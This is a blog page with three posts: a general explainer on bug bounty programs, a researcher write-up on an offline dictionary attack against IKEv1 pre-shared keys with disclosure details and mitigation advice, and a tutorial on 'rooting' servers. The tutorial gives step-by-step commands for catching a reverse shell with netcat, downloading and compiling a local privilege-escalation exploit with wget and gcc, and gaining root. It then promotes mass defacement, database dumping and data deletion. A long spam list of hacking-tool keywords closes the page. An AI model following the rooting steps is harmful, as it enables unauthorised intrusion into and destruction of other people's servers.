$$$ Bug Bounty $$$

Posted on 12:45 AM by Tina

What is Bug Bounty ?



A bug bounty program, also called a vulnerability rewards program (VRP), is a crowdsourcing initiative that rewards individuals for discovering and reporting software bugs. Bug bounty programs are often initiated to supplement internal code audits and penetration tests as part of an organization's vulnerability management strategy.




Many software vendors and websites run bug bounty programs, paying out cash rewards to software security researchers and white hat hackers who report software vulnerabilities that have the potential to be exploited. Bug reports must document enough information for for the organization offering the bounty to be able to reproduce the vulnerability. Typically, payment amounts are commensurate with the size of the organization, the difficulty in hacking the system and how much impact on users a bug might have.


Mozilla paid out a $3,000 flat rate bounty for bugs that fit its criteria, while Facebook has given out as much as $20,000 for a single bug report. Google paid Chrome operating system bug reporters a combined $700,000 in 2012 and Microsoft paid UK researcher James Forshaw $100,000 for an attack vulnerability in Windows 8.1.  In 2016, Apple announced rewards that max out at $200,000 for a flaw in the iOS secure boot firmware components and up to $50,000 for execution of arbitrary code with kernel privileges or unauthorized iCloud access.


While the use of ethical hackers to find bugs can be very effective, such programs can also be controversial. To limit potential risk, some organizations are offering closed bug bounty programs that require an invitation. Apple, for example, has limited bug bounty participation to few dozen researchers.
Read more

0 comments

Practical Dictionary Attack On IPsec IKE

Posted on 4:14 PM by Tina

We found out that in contrast to public knowledge, the Pre-Shared Key (PSK) authentication method in main mode of IKEv1 is susceptible to offline dictionary attacks. This requires only a single active Man-in-the-Middle attack. Thus, if low entropy passwords are used as PSKs, this can easily be broken.

This week at the USENIX Security conference, Dennis Felsch will present our research paper on IPsec attacks: The Dangers of Key Reuse: Practical Attacks on IPsec IKE. [alternative link to the paper]

In his blog post, Dennis showed how to attack the public key encryption based authentication methods of IKEv1 (PKE & RPKE) and how to use this attack against IKEv2 signature based authentication method. In this blog post, I will focus on another interesting finding regarding IKEv1 and the Pre-Shared Key authentication.

IPsec and Internet Key Exchange (IKE)

IPsec enables cryptographic protection of IP packets. It is commonly used to build VPNs (Virtual Private Networks). For key establishment, the IKE protocol is used. IKE exists in two versions, each with different modes, different phases, several authentication methods, and configuration options. Therefore, IKE is one of the most complex cryptographic protocols in use.

In version 1 of IKE (IKEv1), four authentication methods are available for Phase 1, in which initial authenticated keying material is established: Two public key encryption based methods, one signature based method, and a PSK (Pre-Shared Key) based method.

The relationship between IKEv1 Phase 1, Phase 2, and IPsec ESP. Multiple simultaneous Phase 2 connections can be established from a single Phase 1 connection. Grey parts are encrypted, either with IKE derived keys (light grey) or with IPsec keys (dark grey). The numbers at the curly brackets denote the number of messages to be exchanged in the protocol.

Pre-Shared Key authentication

As shown above, Pre-Shared Key authentication is one of three authentication methods in IKEv1. The authentication is based on the knowledge of a shared secret string. In reality, this is probably some sort of password.

The IKEv1 handshake for PSK authentication looks like the following (simplified version):


In the first two messages, the session identifier (inside HDR) and the cryptographic algorithms (proposals) are selected by initiator and responder. 

In messages 3 and 4, they exchange ephemeral Diffie-Hellman shares and nonces. After that, they compute a key k by using their shared secret (PSK) in a PRF function (e.g. HMAC-SHA1) and the previously exchanged nonces. This key is used to derive additional keys (ka, kd, ke). The key kd is used to compute MACI over the session identifier and the shared diffie-hellman secret gxy. Finally, the key ke is used to encrypt IDI (e.g. IPv4 address of the peer) and MACI. 

Weaknesses of PSK authentication

It is well known that the aggressive mode of authentication in combination with PSK is insecure and vulnerable against off-line dictionary attacks, by simply eavesedropping the packets. For example, in strongSwan it is necessary to set the following configuration flag in order to use it:
charon.i_dont_care_about_security_and_use_aggressive_mode_psk=yes

For the main mode, we found a similar attack when doing some minor additional work. For that, the attacker needs to waits until a peer A (initiator) tries to connect to another peer B (responder). Then, the attacker acts as a man-in-the middle and behaves like the peer B would, but does not forward the packets to B.

From the picture above it should be clear that an attacker who acts as B can compute (gxy) and receives the necessary public values session ID, nI, nR. However, the attacker does not know the PSK. In order to mount a dictionary attack against this value, he uses the nonces, and computes a candidate for k for every entry in the dictionary. It is necessary to make a key derivation for every k with the values of the session identifiers and shared Diffie-Hellmann secret the possible keys ka, kd and ke. Then, the attacker uses ke in order to decrypt the encrypted part of message 5. Due to IDI often being an IP address plus some additional data of the initiator, the attacker can easily determine if the correct PSK has been found.

Who is affected?

This weakness exists in the IKEv1 standard (RFC 2409). Every software or hardware that is compliant to this standard is affected. Therefore, we encourage all vendors, companies, and developers to at least ensure that high-entropy Pre-Shared Keys are used in IKEv1 configurations.

In order to verify the attack, we tested the attack against strongSWAN 5.5.1.

Proof-of-Concept

We have implemented a PoC that runs a dictionary attack against a network capture (pcapng) of a IKEv1 main mode session. As input, it also requires the Diffie-Hellmann secret as described above. You can find the source code at github. We only tested the attack against strongSWAN 5.5.1. If you want to use the PoC against another implementation or session, you have to adjust the idHex value in main.py.

Responsible Disclosure

We reported our findings to the international CERT at July 6th, 2018. We were informed that they contacted over 250 parties about the weakness. The CVE ID for it is CVE-2018-5389 [cert entry].

Credits

On August 10th, 2018, we learned that this attack against IKEv1 main mode with PSKs was previously described by David McGrew in his blog post Great Cipher, But Where Did You Get That Key?. We would like to point out that neither we nor the USENIX reviewers nor the CERT were obviously aware of this.
On August 14th 2018, Graham Bartlett (Cisco) email us that he presented the weakness of PSK in IKEv2 in several public presentations and in his book.
On August 15th 2018, we were informed by Tamir Zegman that John Pliam described the attack on his web page in 1999.

FAQs

  • Do you have a name, logo, any merchandising for the attack?
    No.
  • Have I been attacked?
    We mentioned above that such an attack would require an active man-in-the-middle attack. In the logs this could look like a failed connection attempt or a session timed out. But this is a rather weak indication and no evidence for an attack. 
  • What should I do?
    If you do not have the option to switch to authentication with digital signatures, choose a Pre-Shared Key that resists dictionary attacks. If you want to achieve e.g. 128 bits of security, configure a PSK with at least 19 random ASCII characters. And do not use something that can be found in public databases.
  • Am I safe if I use PSKs with IKEv2?
    No, interestingly the standard also mentions that IKEv2 does not prevent against off-line dictionary attacks.
  • Where can I learn more?
    You can read the paper. [alternative link to the paper]
  • What else does the paper contain?
    The paper contains a lot more details than this blogpost. It explains all authentication methods of IKEv1 and it gives message flow diagrams of the protocol. There, we describe a variant of the attack that uses the Bleichenbacher oracles to forge signatures to target IKEv2. 
Continue reading

0 comments

HOW TO ROOT A SERVER? – SERVER ROOTING

Posted on 7:44 AM by Tina

Servers serve the requests made by the users to the web pages, it acts as a helping hand who serves the requested meal for you. Here I am sharing how to root a server. Root is the Administrator of all server. If someone got root access to it, he can do anything with a server like delete and copy anything on the server, can deface all the websites (massive deface ).
We can't talk about root on windows. That enough for a beginner because if I talk about the root I need another book. So, I guess now we know the importance of root access and why we try to get root.

HOW TO ROOT A SERVER?

There are 3 ways to get ROOT on the server :
1 – With local Root.
2 – With SQL by reading the same important files on it root password.
3 – With exploit on software (Buffer Overflow).
In this post, we will explain local Root. I will explain the other ways soon in some other post.
OK, let's back to work.
After Uploading your shell on the server and getting the local root you will do a back connect and run the local root to Get root. This is a small idea of how it works in the next step you will see how to
find local root and run it to get root access.

HOW TO SEARCH LOCAL ROOT?

First of all we you need to know what version of Kernel.
You can know that from your shell, for example, this version is 2.6.18 – 2012
Go to EXECUTE on your shell and write  "uname -a". You will get the same result, by the way.
Now how to find the local root.
You can use various websites like Exploit-db, packetstormsecurity, vfocus, injector, etc who provides these local roots. One more thing to notice is, that there exist two types of local roots :
1. Local.C: which are not ready.
2. Local: ready to use.

HOW TO GET ROOT ACCESS?

First, you need a shell with a Back Connect option like this :
Enter your "Public IP Address" in SERVER, the port you want to connect on and leave it, Perl, this time, and Finally connect.
So now you must receive the back connect with a Tool named netcat u can download it from the
net. After that open your terminal if you are under Linux or CMD  if you are under Windows. I will explain only Linux, and for Windows, its all the same.
After that Follow the steps :
1- Press nc -vlp 433
2- Wget [the link of the local-Root.zip]
3 – unzip local-Root.zip

4 – chmod 777 local.c

5 – now to change the local-root from local.c > local
gcc local.c -o local Then you will find local.c transformed to local

6 – chmod 777 local

7 – ./local to local rootwork

8 – su
then see your id uid=0(root) gid=0(root) groups=0(root)


Getting UID=0 means, u had got root privileges and hence can do a variety of stuff on the remote server say Mass deface, dump database, redirect sites, change content, etc etc.
AFTER THE ROOT 
As server gets rooted, you're able to do the many things with it like I mentioned above. Such as, withdrawal of domains, massive deface and also deletion of the data completely.

Related word


  1. Top Pentest Tools
  2. How To Make Hacking Tools
  3. Usb Pentest Tools
  4. Hacker Tools Linux
  5. Pentest Tools Url Fuzzer
  6. New Hack Tools
  7. Hacker Tools Apk
  8. Tools Used For Hacking
  9. Hacking Tools Windows
  10. Hacking Tools Kit
  11. Pentest Tools Port Scanner
  12. Github Hacking Tools
  13. Hack Tools Mac
  14. Nsa Hack Tools
  15. Android Hack Tools Github
  16. Hack Tools Pc
  17. New Hack Tools
  18. Hacker
  19. Hackrf Tools
  20. Pentest Tools
  21. Bluetooth Hacking Tools Kali
  22. World No 1 Hacker Software
  23. Hacking Tools Pc
  24. Free Pentest Tools For Windows
  25. Underground Hacker Sites
  26. Install Pentest Tools Ubuntu
  27. Hacker Search Tools
  28. Wifi Hacker Tools For Windows
  29. Hack App
  30. Hacker Tool Kit
  31. Hacker Tools Free
  32. Hack Tools For Ubuntu
  33. Pentest Recon Tools
  34. Hacking Tools Software
  35. Ethical Hacker Tools
  36. Hacking Tools Kit
  37. Hacking Tools For Pc
  38. Game Hacking
  39. Underground Hacker Sites
  40. Hacking Tools Hardware
  41. Kik Hack Tools
  42. Pentest Tools Free
  43. Pentest Tools For Mac
  44. Hacking Tools Pc
  45. Hacking Tools Github
  46. Bluetooth Hacking Tools Kali
  47. Pentest Tools For Mac
  48. What Is Hacking Tools
  49. Hack Apps
  50. Hacking Tools Pc
  51. Pentest Reporting Tools
  52. Github Hacking Tools
  53. Hack Tools For Windows
  54. Top Pentest Tools
  55. Pentest Tools For Mac
  56. Hack Tools Pc
  57. Hack And Tools
  58. Pentest Tools Alternative
  59. Bluetooth Hacking Tools Kali
  60. Hacker Tools Windows
  61. Hacker Tools For Mac
  62. Pentest Box Tools Download
  63. Beginner Hacker Tools
  64. How To Hack
  65. Hacking Tools For Windows Free Download
  66. Hacking Tools Online
  67. Hacking Tools
  68. Pentest Box Tools Download
  69. Hacking Tools For Windows Free Download
  70. Hacker Tools 2019
  71. Pentest Tools Free
  72. New Hacker Tools
  73. Best Hacking Tools 2019
  74. Black Hat Hacker Tools
  75. How To Install Pentest Tools In Ubuntu
  76. Free Pentest Tools For Windows
  77. Hacker Techniques Tools And Incident Handling
  78. Hacker Security Tools
  79. Hack Tools For Games
  80. Pentest Recon Tools
  81. Physical Pentest Tools
  82. Pentest Tools Android
  83. Hacking Tools And Software
  84. Pentest Tools For Mac
  85. Hacking Tools For Kali Linux
  86. Hacking Tools Kit
  87. Hacking Tools For Windows 7
  88. Pentest Tools Open Source
  89. Hacking Tools For Games
  90. Tools For Hacker
  91. Hacking Apps
  92. Hacker Tools Linux
  93. Best Hacking Tools 2020
  94. Hacking Tools Software
  95. Top Pentest Tools
  96. Hacker Tools Hardware
  97. Hack Tools Mac
  98. Hacking Tools Usb

0 comments

Subscribe to: Posts (Atom)